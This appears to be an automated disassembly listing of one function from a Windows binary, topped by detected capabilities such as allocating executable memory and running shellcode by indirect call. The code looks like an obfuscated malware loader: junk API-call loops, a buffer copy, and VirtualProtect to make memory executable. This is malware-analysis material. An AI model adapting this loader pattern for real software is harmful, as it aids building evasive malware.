Function at 0x4056b0
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Get common file path
Get file attributes
Get geographical location
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x84c
mov eax, dword [0x44a004]
xor eax, esp
mov dword [esp + 0x848], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
mov edi, 0x3661b338
mov edi, edi
cmp dword [0x49206c], 0xc31
jne 0x405705
xor eax, eax
lea edx, [esp + 0x10]
push edx
push eax
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x20], eax
call ebx
call esi
dec edi
jne 0x4056e0
mov edi, dword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x405726
mov eax, dword [0x44b934]
mov dword [0x4923f4], eax
cmp dword [0x49206c], 0x3c
jne 0x405732
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x405714
cmp dword [0x49206c], 0x7c
jne 0x40579d
push ebx
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push ebx
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
cmp dword [0x49206c], 0x2d
jne 0x40579d
push ebx
push ebx
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x20], ebx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
cmp dword [0x49206c], 0x110a
jne 0x40580f
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x54]
push edx
push ebx
mov dword [0x492060], ebx
mov dword [0x492064], ebx
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push str.fiximejuniravirolilenuxedixoxin
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040104f
add esp, 0x18
push ebx
call fcn.0040137f
call fcn.00405450
xor esi, esi
cmp dword [0x49206c], ebx
jbe 0x40586b
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
jmp 0x405830
mov eax, dword [0x4923f4]
mov dword [esp + 0xc], eax
mov eax, 0xa231
add dword [esp + 0xc], eax
cmp dword [0x49206c], 0x5ab
mov ecx, dword [esp + 0xc]
mov dl, byte [ecx + esi]
mov eax, dword [0x491d90]
mov byte [eax + esi], dl
jne 0x405862
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x49206c]
jb 0x405830
call fcn.00405480
mov edx, dword [0x49206c]
mov eax, dword [0x491d90]
lea ecx, [esp + 0x14]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00405620
call fcn.00405470
mov ebx, dword [esp + 0x30]
mov edi, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor esi, esi
push 0
push 0
push 0
call edi
cmp esi, 0x1a01e
jle 0x4058b8
cmp ebx, 0xf5bed7
jne 0x4058c1
inc esi
cmp esi, 0x1ece7a52
jl 0x4058a0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
xor esi, esi
nop
cmp esi, 0x12e6c3
jne 0x4058dd
call fcn.00405440
cmp dword [0x49206c], 0x3dc
mov dword [0x491d94], 0x8e46a6f0
jne 0x40590f
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
push str.godutabepimikebigawadizokoreto_funasozazigijalabikuyis_yiv
push ecx
mov dword [esp + 0x20], ecx
call edi
lea edx, [esp + 0x10]
push edx
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x4058d0
mov ecx, dword [esp + 0x854]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret